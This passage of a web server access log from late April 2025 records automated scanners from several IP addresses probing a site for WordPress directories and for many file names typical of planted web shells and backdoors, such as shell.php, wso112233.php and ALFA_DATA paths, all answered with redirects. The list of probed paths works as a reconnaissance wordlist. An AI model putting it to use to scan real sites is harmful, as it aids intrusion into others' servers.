/wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:09 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:10 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:10 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:10 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:11 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:11 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:12 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:13 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:13 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:14 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:14 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:14 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:15 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:15 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:16 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:16 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:17 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:17 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:18 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:18 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:19 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:19 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:20 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:21 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:21 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:22 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:22 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:23 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:24 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:25 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:25 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:26 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:26 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:27 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:27 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:28 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:28 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:29 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:30 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:30 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:31 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:31 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:32 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:32 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:33 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:33 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:33 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:34 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:34 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:35 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:35 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:36 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:36 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:37 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:37 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:37 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:38 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:39 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:39 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:39 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:40 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:40 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:41 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:41 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:41 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:42 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:42 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:42 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:43 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:43 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:44 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:44 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:45 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:45 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:46 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:46 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:47 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:47 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:48 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:48 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:49 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:49 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:49 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:50 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:50 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:51 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:51 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:52 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:52 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:53 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:53 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:54 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:55 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:55 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:56 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:56 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:57 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:57 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:58 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:58 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:58 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:59 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:59 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:00 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:01 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:01 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:02 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:03 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:04 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:04 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:05 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:05 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:06 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:06 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:07 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:08 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:09 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:09 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:10 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:10 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:11 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:11 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:12 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:12 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:13 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:14 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:14 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:15 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:15 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:16 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:17 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:19 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:19 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:20 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:21 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:21 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:22 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:23 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:24 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:24 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:25 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:26 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:26 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:27 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:27 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:28 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:28 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:29 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:29 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:30 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:30 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:30 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:31 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:31 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:05:32 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:08 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:09 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:10 -0400] "GET /.tmb/mariju.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:11 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:11 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:12 -0400] "GET /.well-known//about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:13 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:14 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:14 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:15 -0400] "GET /.well-known/acme-challenge//.info.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:15 -0400] "GET /.well-known/acme-challenge//muse.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:16 -0400] "GET /.well-known/acme-challenge//wp-protector.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:17 -0400] "GET /.well-known/acme-challenge/Llj.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:17 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:18 -0400] "GET /.well-known/acme-challenge/about.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:18 -0400] "GET /.well-known/acme-challenge/admiin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:19 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:19 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:20 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:21 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:22 -0400] "GET /.well-known/acme-challenge/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:22 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:23 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:23 -0400] "GET /.well-known/acme-challenge/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:24 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:24 -0400] "GET /vz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:25 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:25 -0400] "GET /.well-known/acme-challenge/x2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:26 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:27 -0400] "GET /.well-known/acme-challenge/xp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:27 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:28 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:28 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:29 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:30 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:30 -0400] "GET /KOK1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:30 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:31 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:31 -0400] "GET /.well-known/vz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:31 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:32 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:32 -0400] "GET /.well-known/acme-challenge/vz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:32 -0400] "GET /.well-known/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:33 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:33 -0400] "GET /administrator/vz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:34 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:34 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:34 -0400] "GET /css/vz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:35 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:35 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:35 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:35 -0400] "GET /fonts/vz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:36 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:36 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:37 -0400] "GET /images/vz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:37 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:37 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:38 -0400] "GET /include/vz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:38 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:38 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:39 -0400] "GET /.well-known/pki-validation/dropdown.php?pass=yanz HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:39 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:39 -0400] "GET /js/vz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:39 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:40 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:40 -0400] "GET /plugins/vz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:40 -0400] "GET 